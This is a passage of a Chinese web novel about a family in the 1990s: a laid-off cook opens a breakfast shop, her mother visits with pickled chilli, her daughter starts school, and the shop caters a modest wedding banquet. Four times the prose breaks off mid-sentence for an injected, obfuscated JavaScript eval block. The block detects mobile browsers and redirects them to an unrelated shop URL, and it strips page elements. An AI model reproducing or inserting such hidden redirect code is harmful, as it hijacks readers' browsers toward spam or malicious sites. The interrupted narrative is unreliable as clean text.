姜华英把一碗青椒肉末米饭递给客人后,坐在门边的凳子上歇气,正在想单身楼的小年轻们是不是上街打牙祭去了,就看见他们一伙人挤挤挨挨地往早餐店走过来,干馒头小伙子和买馒头青年还合力抬着一个大坛子。 他俩把坛子放在门边,转过头跟身后的人介绍道:“这就是姜师傅的店!” 姜华英心里有些疑惑,没等她问出口,人群里走出来一个人,朝着她喊道:“姐,我们给你送红酸来了!” “华风!不是说明天才来嘛,怎么今天就……妈,你怎么也来了!” “我在家也没事,跟着华风来看看你们,”苗秀指着干馒头小伙子,说道,“半路上遇到这些小年轻,给我们带路不说,还帮着抬坛子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17544627|204078||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' !你多给他们打点饭吧?” “哎!”姜华英点点头,转过头喊林勤来抬坛子,又叫林乐晓带着外婆和舅舅回家休息。 “妈,你们还没吃饭吧?晓晓,你拿碗多盛点臊子,回家给外婆和舅舅下面条啊!” “姐,你忙你的,不用管我们!”姜华风接过林乐晓手里的碗,说道,“我吃点啥都可以!” “我不管你!我只管老妈!”姜华英瞪了姜华风一眼,说道,“你不吃都可以!” 林乐晓看着背着手站在店门口有些陌生又很熟悉的小老太太,踌躇着晃了一下身体,还是走过去挽住她的手臂,说道:“外婆,我们先回家,我妈还得忙一会儿呢!” “哎!”苗秀摸了摸林乐晓的手,说道,“看你瘦的哦,要多吃点饭啊!” “嗯,我好好吃饭的!”林乐晓揉了揉有些酸涩的鼻子,跟着外婆迈出的大步子,半跑半跳地追着她走。 姜华风端着碗,跟在后面边走边说道:“妈,你走慢点,晓晓都跟不上了!” “晓晓哪里跟不上?我看是你跟不上!” “我端着碗,又背着大背篼,跟不上也很正常吧?” 林乐晓听着外婆和舅舅斗嘴,抿着嘴笑得开心。 真好啊。外婆还能和舅舅吵架呢。 回到家里,林乐晓帮姜华风把背篼放在厨房里,拿出锑锅想烧水煮面。 苗秀拍了拍沙发,说道:“让你舅舅煮!你来这坐着,我们两个说说话。” 林乐晓小步跑到沙发旁边的地铺上坐着,问道:“外婆,你想知道什么?我妈这个店开了两个星期了,生意还可以……” 姜华英收拾好早餐店,和林勤抬着红酸坛子回到家,看到林乐晓坐在地铺上和姜华风打扑克,苗秀在沙发上坐着看电视。 “华风,你今天不上班吗?” “上啊!谁叫老妈不放心你,非得来看看,我请了一天假呢!” 苗秀伸手打了姜华风一下,说道:“什么叫我不放心?你爸放心吗?你放心吗?你妹她们放心吗?” 数落完姜华风,苗秀又看向姜华英,说道:“你也是!下岗两个星期了,也不给家里写封信!打个电话来,就说下岗了要买红酸……我不来一趟,怎么知道你们现在生活过不过得了!” “妈……”姜华英被说得红了眼睛,叫了苗秀一声,却不知道该说些什么。 “好了!我都听晓晓说了!”苗秀叹了一口气,说道,“不过你要这么多红酸,真的卖得完?天气都开始冷了,酸汤菜也卖不了几天了,要不就让华风背一半回去……” “卖得了……吧……”姜华英在沙发上坐下来,嘟嘟囔囔地说道。 “卖得了!”林乐晓放下手里的牌,看了她妈妈一眼,说道,“天气凉了,也可以卖酸汤菜啊,在酸汤里煮点肉丸子,很好吃的!天再冷点,就可以预订酸汤火锅了!” 15. 要开学了 “啊?啊……对!”听到林乐晓的话,姜华英懵了几秒,才反应过来,女儿又在帮早餐店想新的菜品了!中午林乐晓和林勤来回拉扯那些话,就是思考在小店里售卖火锅的可能性呢。 姜华英心里又是骄傲又是愧疚,她感觉自己的胸腔里涌起了一股暖流,把一颗心泡得酸酸软软的。姜华英悄悄摸摸地从沙发上滑到地铺上坐着,出其不意地抱住了还在跟苗秀絮叨酸汤菜的林乐晓,把她女儿和老妈都吓了一跳。 林乐晓突然跌进妈妈温暖的怀抱,愣了一下,接着有些害羞地说道:“妈妈,你干嘛呀~我还在跟外婆说话呢!” 苗秀伸手拍了一下女儿,嗔怪地说道:“当妈了还这么没正形!没看见我孙女在和我说话吗?” “外婆,我妈妈是喜欢我呢!”林乐晓也伸出手抱住姜华英,她都有点记不清上次抱妈妈是多久以前的事情了,她笑眯眯地抬起头,跟苗秀说道,“我也喜欢妈妈!” 苗秀的手不自觉地在姜华英肩上抓了一下,随即被她放到了膝盖上。她看着抱成一团的母女俩,嘟囔道:“知道你们母女俩亲香……” 林乐晓从地铺上站起来,把苗秀搂在自己小小的怀抱里,说道:“我也喜欢外婆!” 苗秀闻着孙女衣服上的肥皂香味,迟疑着抬起手,轻轻地拍了拍她的背,小声地说道:“你们用的什么牌子的肥皂啊?还挺好闻的……” “噗,”姜华英被苗秀逗乐了,打趣地说道,“隔壁肥皂厂的残次品!拿两块给你用啊?” 苗秀瞪了姜华英一眼,放开林乐晓,说道:“你们家里有大坛子吗?去找出来装红酸!这个坛子我还要带回去的!” “欸?昨晚不是说把坛子送给大姐的吗?”姜华风从自娱自乐的扑克牌堆里抬头,不解地问苗秀道。 “说什么屁话呢!”苗秀伸腿踢了儿子一下,骂道,“一天到黑就晓得玩扑克牌!快去把背篓里的瓶瓶罐罐理出来,那个我是真的要背回去的!” 吃完晚饭,一家人挤着坐在厨房的小餐桌旁,边整理苗秀带来的食材,边聊着天。 “华英,你也下岗了,按理说,我不该收你的钱……”苗秀低垂着眼睛,慢慢擦拭着手里的玻璃罐头瓶子,说道,“但是,你那两个妹子……” 姜华英看了林勤一眼,打断苗秀的话,说道:“妈,你别说了,我都知道的……我们一开始就没想着不给钱,就是想着能比市价便宜点……” “我在市场外面,红酸卖一毛钱一两,我给你们成本价,五分钱一两,这一坛子有个二十斤,你们给我十块钱,行吗?” “妈,你们来一趟,不能让你一点都不赚,还倒贴来回的车票钱!”姜华英用手指在餐桌上轻轻地敲着,决定道,“二十斤红酸,我们拿十五块钱给你,还有这些豆豉和酸辣椒,再添五块钱,一共二十块钱?” “行!我也不和你们推来推去了,”苗秀点点头,抬起头看着女儿,握着她的手说道,“刚才的话,你让我说完……你爸他们厂子的效益还可以,就算你弟媳下岗,华风也能敷着他们两口子的生活。但是华青那个婆婆,一直怪华青没生个男孩给她儿子传宗接代,要不是华青有工资,恐怕早就被闹得离婚了。华玲中专毕业以后,一直没找到工作,就在家里给我打打下手。我是想先攒点钱,要实在不行,就把小萍萍接到家里来,华玲也能帮着带……” “姐,你是不知道,华青这两个月的工资少了一点,她婆婆就抠着不让小萍萍吃饱……” 林乐晓坐在大人堆里,边听八卦边点头。 林勤好笑地看着女儿摇着头晃着脑,低声问她道:“你不去看电视看小说,在这儿听这些八卦,有意思吗?” 林乐晓瞥了她爸一眼,轻哼一声,没张嘴回话,只在心里默默吐槽道:“当然有意思了!外婆猜得很准,三姨下岗以后,三姨夫就在外面生了个儿子,逼着三姨和他离婚了。不过外婆也有没猜到的,舅妈下岗后,不愿意只在家里做家务,跟着几个同事去外省打工,最后也和舅舅离婚了……” 周天一大早,天才蒙蒙亮,要早起做生意的姜华英还沉浸在梦乡里,苗秀就静悄悄地起床了。她踮着脚,从大卧室里走出来,路过客厅,走进厨房,坐在小餐桌旁缓了口气,才慢慢地开始洗漱。 苗秀想起孙女儿昨天晚上说的话,决定回去还是要再收点西红柿和辣椒,多做一些红酸。万一大女儿的生意就做起来了呢?她在市场外面是能卖得贵一点,但卖不了这么大的量啊!她们市里的餐馆,红酸都是自己做的,很少在外面收购。早餐店的生意不能再好点也没关系,孙女儿说得对,明年她可以早点开始售卖红酸,不当季的时候也能卖得贵一点。 客厅里的闹钟响了起来,姜华英伸手按停了钟,迷迷糊糊地瞥到厨房里站着一个人。 “妈?你怎么起得这么早?” “年纪大瞌睡就少了,”苗秀指着灶的方向,说道,“我已经烧好水了,你赶紧起来洗漱吧?” 姜华英翻身坐起来,伸手就要拍醒林勤。苗秀走过来抓住她的手,说道:“让他多睡会儿吧,今天我和你去店里,也好好看看你的生意到底怎么样。” 秋天清晨的微风吹得已经泛黄的树叶沙沙作响。在这凉爽的秋风中,姜华英带着苗秀往家属区门口走。 “周天订快餐的人要少一些,卤味的订单多,”姜华英挽着苗秀,边走边说道,“明天开学,可能是家里的小孩都回来了,这周订卤肉和卤蛋的比上周多了不少。” 苗秀点点头,赞赏地说道:“这个预订的法子不错,至少不亏钱。” “是呀!要不是晓晓想出这个点子,我都不敢卖快餐和卤菜,就怕把成本都亏进去……”姜华英笑着说道,“妈,我昨天多订了点肉,一会儿都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17544628|204078||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 卤上,你们带回去,也给老爸尝尝我的手艺。” 苗秀跟着姜华英在早餐店里忙了一上午,还半悬着的心总算能落下去了。她接过女儿手里装了卤肉的饭盒,边往背篼里放,边说道:“不用你们送,华风找得到路,我们自己走就行!你这臊子都还没卖完!” “没剩多少了,我们晚饭还吃呢!”姜华英拉着姜华风背上的背篼,说道,“也不光是去送你们,本来我们也是要上街的,还要去给晓晓买本子买铅笔!” 林勤看着对峙着的母女两人,朝姜华英说道:“我在店里守着,你带晓晓去送妈吧?” 姜华英点点头,放开姜华风的背篓,问苗秀道:“没意见了吧?” 一行四人在公交站牌处等了不一会儿,就坐上了去汽车站的公交车。 林乐晓跟在姜华英身后爬上了公交车。她站在外婆的座位边上,好奇地转头到处看着,心里满满是对公交车破旧程度的震撼。 公交车驶出站牌,林乐晓拉着座椅的靠背,随着车的启动前后左右地摆动着。 苗秀怕孙女儿摔着,拉着她的手说道:“晓晓,来,外婆抱着你!” 林乐晓摇了摇头,突然发现从心底窜出了一股恶心的感觉,带着胃里还没消化的午饭冲到了她的喉咙边上。她忙不迭地坐到苗秀怀里,推开了座位边上的窗户。清凉的风穿过车窗,拂在林乐晓的脸上,帮她压下了反流的食物。 看着车窗外成片的农田和低矮的房屋,林乐晓默默地体验了一回久违的晕车滋味。真的有点难受。 送苗秀和姜华风坐上长途客车后,姜华英带着林乐晓又走到了公交站牌边上。 “明天开学了,我们去城中批发市场看看,给你买条新裙子吧?” 林乐晓实在不想多坐一趟车,而且她觉得自己制定了进阶的锻炼计划,现在买裙子,明年夏天肯定就小了,这多不划算呐! “妈妈,我不想买裙子,这几天都开始凉了,穿不了几天就得收起来了,”林乐晓晃了晃姜华英的胳膊,拒绝道,“明年再买吧!” “那去买双滑冰鞋?”姜华英在心里数了数荷包里装的钱,又问女儿道,“上个月才放暑假的时候,你不是说想买滑冰鞋吗?” 听到姜华英说滑冰鞋,林乐晓脑子里那段多出来的记忆钻了出来,给她放映了一连串她穿着滑冰鞋站在学校操场上没滑两步路就摔了个四仰八叉的片段。虽然现在连滑冰鞋都还没有买,但是那股从臀部一直上升到脑部的震荡感,清晰地出现在了林乐晓的观感里,让她大脑都空白了一下。 “妈妈,我听说穿滑冰鞋摔跤可疼了,我已经不想学了!” “裙子不想要,滑冰鞋也不想要了,你想要点什么呢?”姜华英低头看着女儿,说道,“你帮妈妈出了这么多的好法子,妈妈想好好谢谢你呀!” “妈妈,我想吐,呕……” 16. 新婚宴席 周一早上,林乐晓久违地在七点的闹铃声中醒了过来。她叹了一口气,磨磨唧唧地刷完牙洗好脸,坐在小餐桌旁没滋没味地吃完林勤给她煮的鸡蛋面,才换上了放在床尾的粉红色短袖衬衫和深蓝色背带裙,又给自己梳了个高马尾。 她站在衣柜的穿衣镜前,看着镜子里神采奕奕的小姑娘,不得不感慨:还是年轻的身体抗造啊! 林乐晓背上只装了暑假作业的书包,朝还在收拾碗筷的林勤挥了挥手,说道:“爸爸,我自己去学校报名就行,你去早餐店帮忙吧!” “带的钱够交学费吗?” “够了!”林乐晓穿上白球鞋,点点头说道,“要是不够,我中午问妈妈要了下午再交。” “行,去吧!路上小心点!” 林乐晓关上门,听着不远处的学校里传来的进行曲,长吸一口气,快步向学校走去。 第一天开学,校长没有给学生们安排课程。在操场举行完升旗仪式,班主任带着小学生们回到教室,组织大家打扫卫生。 “方恒,你带几个男生跟我去办公室搬书;蒋瑶,你在教室看着,”王丽书站在讲台上,用手指在讲桌上摸了一下,留下一个清晰的手指印,她看着下面坐得东倒西歪的学生们,开口说道,“都别偷懒啊!好好地把教室打扫干净!” 蒋瑶站起来,看着副班长方恒和一群男生跟在班主任的身后走远了,才轻哼一声,开始分配任务:“第一组扫地,第二组拖地,第三组擦桌子……” 林乐晓三两下打扫完分到的地方,正站在窗边休息,看见蒋瑶拿着扫把走了过来。 “林乐晓,”蒋瑶握着扫把,有一搭没一搭在地上拖着,低声问道,“你暑假作业写完了吗? “写完了呀!”林乐晓奇怪地看着蒋瑶,不知道她为什么要这么问。她林乐晓可是好学生,从来没赖过假期作业好吧! “你后面都没出来和我们玩,那你周记写的什么呢?” “写了几篇读后感……” “啊?”蒋瑶捏紧手里的扫把,疑惑地问道,“你真的在家看书啊?” “嗯,看了,”林乐晓仿佛看到了蒋瑶脑子里大大的问号,她解释道,“我是要帮我妈妈煮米饭,才没有和你们一起去爬山……” “看书都能写几篇周记?林乐晓,你真是个怪人!”蒋瑶看着手里的扫把,铿锵有力地说道,“作文多难写啊!我宁愿做十页数学题,也不想写一篇周记!” 林乐晓转过头,看着蒋班长鼓着满是胶原蛋白的小脸蛋,欲言又止地咽下了嘴边的话。算了,跟你们这种生来就注定是理科生的人没有共同语言! 王丽书带着一群男生们走进教室,等他们把新书放在还有些湿润的讲桌上,又指挥班长和副班长收暑假作业。 她倚在堆满了新书的讲桌旁边,说道:“这个学年,是你们在小学的最后一年,明年的这个时候,你们就是初中生了!作为小学部最大的哥哥姐姐,都给我把心收回来,好好学习,给下面年级的弟弟妹妹们当个好榜样!” 王丽书接过蒋瑶和方恒手里的本子,问道:“没有人没交吧?”得到两位班长肯定的回答,她点点头,转身在黑板上写下一个数字,说道:“这个学期的学杂费和书本费,一共是九十块钱。带够了钱的留下来交学费领新书,下午就不用来了。没带够的人,下午三点前到教室来交!”她环视教室一周,继续交代道,“明天早上八点上课,都不准迟到!” 林乐晓背着一书包新书,先回了趟家,才空着手走进了早餐店。 姜华英往米饭碗里舀了一小勺凉拌水豆豉,边递给朱工边问女儿道:“带的钱不够,没领到新书啊?” “领到了,我把书包放回家了。” “晓晓几年级了?”朱工接过碗,笑眯眯地问道。 “六年级了,明年就该读初中了!” “哎哟,大孩子啦!”朱工边说边朝嘴里送了几颗豆豉,说道,“华英,你这水豆豉做得真好!怎么不早点拿出来卖!有这个小菜,稀饭都能多喝一碗!” “我哪有这个手艺?”姜华英盛了一碗酸汤,放到朱工的桌子上,笑着说道,“这是我妈做的,前天来看我们,带了两瓶来……” “啊,”朱工吞下嘴里的碎豆子,遗憾地问道,“那就是不卖了?” “暂时卖不了,就这么两瓶,”姜华英摇摇头,回答道,“您要是喜欢,我送点给您?” 两人聊着天,没注意到店门口拉拉扯扯的几个人。 林乐晓站在调料桌旁,端起碗喝了一口酸汤,冷不丁地朝着门外问道:“哥哥姐姐,你们要吃午饭吗?” 听到林乐晓的问题,姜华英和朱工都转过头,看向店门口。 南盛和王蔷站在楼梯上,尴尬地对视了一眼,没有说话。 旁边的干馒头小伙子推了南盛一把,说道:“进去啊!你俩提前下班,不就是为了来问问姜师傅的嘛!” “咳,姜师傅,我们来,是想问问您,”南盛迈上楼梯,站在店门口,磕磕绊绊地问道,“接不接宴席……” “宴席?你们要请客啊?”姜华英站起来,问干馒头小伙子道,“你们呢?今天吃饭吗?” 干馒头小伙子看不下去了,提着嗓子喊道:“嗨!姜师傅,他俩领证了,想在您这摆几桌!” 姜华英没反应过来,有些愣怔地问道:“啊?摆婚宴?在我这儿?” 朱工抬着筷子,指了指南盛和王蔷,问道:“是你俩买了万主任那套房子?” 王蔷点点头,回答道:“是,所以……” “所以没啥钱了,想着在姜师傅这里请个三桌,”干馒头小伙子插嘴道,“姜师傅,您要给他们算便宜点啊!” “你闭嘴!”买馒头青年拉了干馒头小伙子一下,低声责备道,“他们自己会说!” 南盛看了看干馒头小伙子,又转过头看向姜华英,问道:“姜师傅,您看可以吗?” “你们打算什么时候办呢?”姜华英拍拍拉着自己衣角的林乐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17544629|204078||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 晓,问道。 “我们想这周六下午请客……” 几个人一直站在门口说话,堵住了来吃午饭的客人的路。 “说什么呢?站在门口说得这么热闹,坐到店里再说嘛!” 听见客人的话,姜华英示意小年轻们让让路,边请客人进店,边回答道:“可以!下午下班了你们来店里,我们到时再商量!” 南盛和王蔷相视一笑,和干馒头小伙子异口同声地说道:“谢谢姜师傅!” “我才要谢谢你们来照顾生意呢,”姜华英笑着摇摇头,问道,“吃午饭吗?” “我俩吃,他俩不吃!”干馒头小伙子也笑起来,回答道,“他俩这几个星期可节省了!结果周天上街转半天,还是没找到请得起的……” 买馒头青年瞪了他一眼,说道:“你就闭嘴吧!” 干馒头小伙子没当回事,笑嘻嘻地坐到了桌子旁,跟姜华英说道:“姜师傅,我要一个榨菜肉末饭!” 姜华英点点头,拿出碗盛饭。 刚进店的客人看着走远的南盛和王蔷,问朱工道:“是他俩买了方主任的房子?” “是,”朱工把饭盒递给林乐晓,说道,“就打素菜,我刚才已经吃了荤菜了。” “方主任还是气不过啊?”客人从筷子筒里拿出一双筷子,在桌上敲了敲,说道,“住了十几年的房子,临了,还是要腾给别人……” “其实他已经想通了,打算买的,”朱工接过饭盒,跟客人说道,“但是他姑娘不让买!想接他去市里一起住。” “也是,方主任去年摔到了腿,自己住肯定不方便,要是他老伴还在,这俩年轻人捡不着这个漏……”客人点点头,若有所思地问道,“那他家里那些东西都要搬走吧?” “肯定啊!别人都要办酒了!” 下午上班前,南盛和王蔷就拿着自己的预算单子,来到了早餐店,和姜华英商量酒席事宜。 “嗯,我知道了,”姜华英接过小两口的递过来的信纸,说道,“这样,我今天把菜单拟好,你们明天还是这个时间来?” 王蔷犹豫了一会儿,还是开口问道:“姜师傅,我们的钱是少了点,您能不能……” “不算太少,”姜华英捏了捏王蔷的手,说道,“鸡鱼肉,都能给你安排上,放心好了!” “谢谢姜师傅!” 送走小两口,姜华英拿着信纸坐了下来,轻轻地叹了口气。 林乐晓走到姜华英身边坐下,伸头看了看信纸,问道:“妈妈,真的都能安排上?” “可以!小管家婆!”姜华英点点女儿的鼻子,笑着说道。 “哼!我这是关心您!做酒席多累啊!别忙了半天,还挣不到半个子!” “谢谢我们晓晓关心!”姜华英搂着女儿,说道,“就算请个人来帮忙,也能挣着点。” “那请师婆婆吗?”林乐晓有些不好意思,从姜华英的怀抱里站起来,说道,“还能让师婆婆帮忙剪几个喜字呢!” 17. 挣钱不累 上了两天课以后,林乐晓越发对自己的学习能力有了信心。 这几天,她把六年级的书翻了一遍,发现这些看起来很简单的课程,对她来说还真的挺简单。这让已经离开学校很久,以为已经将英语以外的所有知识都交还给老师的林乐晓满心欢喜,开始提前规划自己再一次的学习生涯。 首先是英语。作为一个英专生,林乐晓虽然对这个科目充满信心,但也清楚地知道一门语言,如果许久不用,必然会变得生疏。从哪里能弄到英语书是个问题。多出来的记忆告诉她,上一次直到高中,老师才要求订购英语报纸。要是她无缘无故地跟爸妈要求订报,会显得很奇怪吗? “要不还是说,想要提前学习一下初中的课程,向吴伯伯家的姐姐借一下初中的英语课本?”林乐晓用撑在课桌上的双手捧着脸,在心里默默思考道,“这样的话,干脆借一套初中的课本好了!也能看看其他初中课程还记得多少……然后再找机会买一本英语词典!” 然后在巩固好英语的基础上,就可以在理科课程上花更多的时间了。这一次,她林乐晓也要做个理科生! “奥赛班是进了高中才接触到的吗?应该不是……好像蒋瑶初中就在学奥数了?”想得兴起,林乐晓忍不住跷起了二郎腿,搭在上面的左脚还来回晃动着,“后来蒋瑶还参加了市里的奥数班!我数学不行,到了高中才在化学老师的奥赛班里学了半年,学得还可以,可惜物理太差,最后还是去读了文科……” 林乐晓还在神游天外,蒋瑶回过头,用笔敲了敲她的桌子。 “啊?”林乐晓疑惑地回过神,轻声问道,“怎么了?” “林乐晓!不好好听课,出什么神呢!”王丽书严厉的声音终于传入了林乐晓耳朵里,嗡嗡地震动着她的耳膜,“你站起来,回答一下这个问题!” 中午放学后,林乐晓背着书包就朝教室门口走,被蒋瑶喊住了。 “晓晓,你刚才上课想什么呢?王老师叫你好几次,你都没听到!” “没想什么啊!”林乐晓低头看了看蒋瑶挽着自己的小胳膊,问道,“瑶瑶,你家有跳绳吗?” “有啊!”蒋瑶拉着林乐晓,沿着操场往校门口走,回答道,“你在想怎么能让姜阿姨给你买跳绳吗?” “嗯……” 林乐晓跟着父母散了十来天的步,觉得自己的体能开始好起来了,开学前还幻想着每天晚上写完作业就来学校操场跑几圈,却忘记了现在的小学校里没有几盏路灯,更加高估了自己对锻炼的自觉。 “唉,锻炼真难啊!”林乐晓和蒋瑶在她家楼下分开,自言自语地念了一路,走到早餐店门口才闭上嘴巴。 姜华英看到女儿,连忙站起来,边盛饭边说道,“饿了吧?想吃什么菜?今天这个烧豆腐好吃,也是给婚宴做的试菜!” “妈妈,我自己来舀吧,你坐着歇会儿吧,”林乐晓从姜华英身边挤过去,边洗手边回答道,“一会儿就吃午饭的客人们就要来了!” “我今天动作快,都坐了好一会儿了!”姜华英给林乐晓舀了一勺茄子炒肉,把碗放到桌上,笑着说道,“赶紧来吃!” 林乐晓在水池旁边的桌子旁坐下来,挑了几根肉丝,抬头跟姜华英说道:“妈妈,我想买一根跳绳。” “好!我们周天去市里买!” 林乐晓咽下嘴里的菜,问道:“额,镇上的商店没有卖的吗?”她实在是不想再坐那个破公交车了! “那就先去镇上看看!”姜华英忍着笑,问女儿道,“怕坐车晕车啊?” 林乐晓低头吃饭,就当没听到她妈妈带着丝丝嘲笑的问题。 姜华英跟王蔷小两口确定了三荤三素两凉菜的酒席菜单,又和相熟的摊贩订好了肉蛋菜,便开始寻摸能来帮一天忙的人。 “师父说,他和师娘周六也要去市里吃酒,”林勤在水龙头下冲了冲头,扯下旁边挂着的洗脸怕,边擦边说道,“只能帮忙剪几个喜字,明天就能拿给我们。” “光剪喜字,师娘肯定又不愿意收钱了吧?”姜华英坐在小餐桌旁,看着林勤点了点头,说道,“唉,那能找谁来帮忙呢?” “吴师兄家的嫂子,你觉得怎么样?” “那当然好了,嫂子切菜很不错的!”姜华英端起搪瓷杯,喝了口水,问道,“她愿意来吗?我最多只能给六块钱……” “按一车间这周的排班,嫂子周六上午也休息……”林勤靠在水池旁边,无奈地回答道,“师兄说,能挣点是点,也够他姑娘半周的午饭钱了……” 周六一大早,罗秀枝就到了姜华英家里,帮着林勤杀鸡褪毛。 “晓晓,你看这根鸡毛,漂亮吧?”林勤指着小土鸡光秃秃的尾羽,对站在厨房门边揉眼睛的女儿说道,“你不是要锻炼身体嘛,爸爸帮你做个毽子!” 林乐晓没理不着调林勤,跟罗秀枝打了声招呼,挤到水池旁边洗漱,问道:“罗伯母,你怎么来这么早啊?我都还没出门上课呢!” “不早了,我送你妍妍姐姐上了公交车才来的。” “妍妍姐这么早就要去学校啊?” “今天是英语早读,”罗秀枝听见灶上的水壶响起来,走过去把壶移到一边,回答道,“她是英语课代表,得早一点去!” “英语?”林乐晓在心里“嘿嘿”地笑了两声,问道,“我们还没开始学呢!好学吗?” “你妍妍姐肯定觉得好学啊!没听伯母说啊?她是英语课代表!”林勤踢了踢蹲在地上咕咕叫的鸡,说道,“你赶紧洗了去早餐店吃早饭,我们这里要开始杀鸡了!” 林乐晓把洗脸帕挂起来,跑到卧室换好衣服,站在客厅边背书包边跟罗秀枝说道:“伯母再见,我去上课了!等会儿放学,我有件事儿跟您说哦!” 等林乐晓中午放了学,回到早餐店的时候,姜华英和罗秀枝已经处理好了下午酒席要用的食材,就等着午市结束后上锅蒸煮炸炒了。 “伯母,我早上是想问您,”林乐晓看着在碗里码得整整齐齐的扣肉,咽了下口水,问道,“妍妍姐初中的英语书,能借给我看看吗?” 罗秀枝把扣肉放进蒸锅里摆好,问道:“你们就开始上英语课了?” “还没有呢,”林乐晓摇摇头,回答道,“我暑假的时候在废品收购站淘到几本书,里面有两本是外国的小说,我就想看看英语到底是什么样子的……” “就和那个拼音一个样!”罗秀枝好笑地看着林乐晓,说道,“我晚上帮你问问,她要是没用了,我明天早上给你拿到店里来?” “谢谢罗伯母!” 下午两点过,姜华英开始烧油煎鱼,罗秀枝把水盆里泡着的洋芋片捞到菜板上切丝,林勤站在水池旁边洗碗,林乐晓则指挥吴师兄贴喜字。 “真是太不好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17544630|204078||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 意思了,”姜华英用锅铲轻轻地翻着鱼,看着吴师兄说道,“请了嫂子来帮忙,还附送一个师兄……” “嗨,这有啥!他在家闲着也是闲着!” 几个人正聊着天,王蔷和南盛带着父母们来到了早餐店外。 “姐姐,你这条红裙子可真好看!”林乐晓正叫吴师兄把门口的喜字贴高一点,转头瞥见了一身红的王蔷,笑眯眯地说道。 “谢谢晓晓!”王蔷指了指南盛手里的布袋子,说道,“我们买了点瓜子和糖,想着早点来……” “进来坐!”姜华英眼睛没离开锅里的鱼,喊林勤道,“拿三个盘子出来装瓜子和糖!” 两家父母们走进店里,看着墙上贴着的喜字,点了点头道:“小是小了点,布置得还成!” 跟在他们后面进来的几人,有人跟着附和,也有人不屑地踢了踢桌子,说道:“拿了家里那么多钱,就在这么个小破店请客?这也太掉价了吧!” 旁边的男人扯了扯她的袖子,说道:“今天办喜事,你别没事找事!” “嫂子,这是我们厂食堂的大师傅,姜师傅……”王蔷不好意思地朝姜华英笑笑,跟找茬的女人解释道。 南盛气得红了脸,指着他哥和嫂子说道:“等你们厂要求自购福利房的时候,有本事也别跟老爸老妈借钱!” “要吃就坐下,不吃就坐车回去,”南父接过林勤手里的盘子,慢悠悠地说道,“别在这丢人现眼。” “前年考中级证的时候,市里组织我们到省饭店学习了几天,我学到了不少,”姜华英把锅里的鱼铲起来装到盘子里,笑着说道,“大家今天来这里庆祝王蔷和南盛新婚,我也厚着脸请大家尝尝我的手艺,不足之处请大家多多指教!” 南盛嫂子不服气,轻声嘀咕道:“学了几天,能学到个啥?” 南盛大哥拉着她坐下,低声吼道:“你就闭嘴吧!” 姜华英把煎鱼的锅洗干净,又往里面倒了好些油,炸了三盘虾片出来,叫林乐晓端给客人们。 “这么多油啊?”林乐晓接过虾片,看着锅里的菜油,问道,“妈妈,有点浪费了啊?” “不浪费,一会儿还要炒鸡炒洋芋丝呢!” 等到四点半,看着客人们都到了,姜华英提出两壶酸梅汤,叫林勤给大家摆上喝酒的小酒碗,推着王蔷和南盛去给客人倒饮料道:“你们说不安排酒水,我就自作主张,熬了两壶酸梅汤,去给大家倒上吧,也算你们敬了酒了。” 王蔷接过水壶,红着眼眶应道:“谢谢姜师傅,您费心了!” 还没等他俩倒完酸梅汤,干馒头小伙子站了起来。只看他端着小酒碗,大声地提议道:“今天是个好日子,让我们举起杯,祝福我亲爱的朋友,王蔷和南盛,新婚快乐、幸福美满!” “看来我的手艺还可以!”送走三桌客人,姜华英看着桌上空空荡荡的盘子和汤钵,跟罗秀枝说道。 罗秀枝正把盘子重叠起来,递给充当洗碗工的林勤,听到姜华英的话,她咧开嘴大笑了起来。 三个人收拾好店子,把借来的餐具分别放好,已经是晚上九点了。 “妈妈,怎么这么晚啊?”林乐晓听到开门声,小卧室里走出来,问道,“累不累啊?” 姜华英把门关上,从荷包里掏出几张票子,眨了眨透着光亮的眼睛,回答女儿道:“不累!有钱挣,怎么会累!” 18. 推销火锅 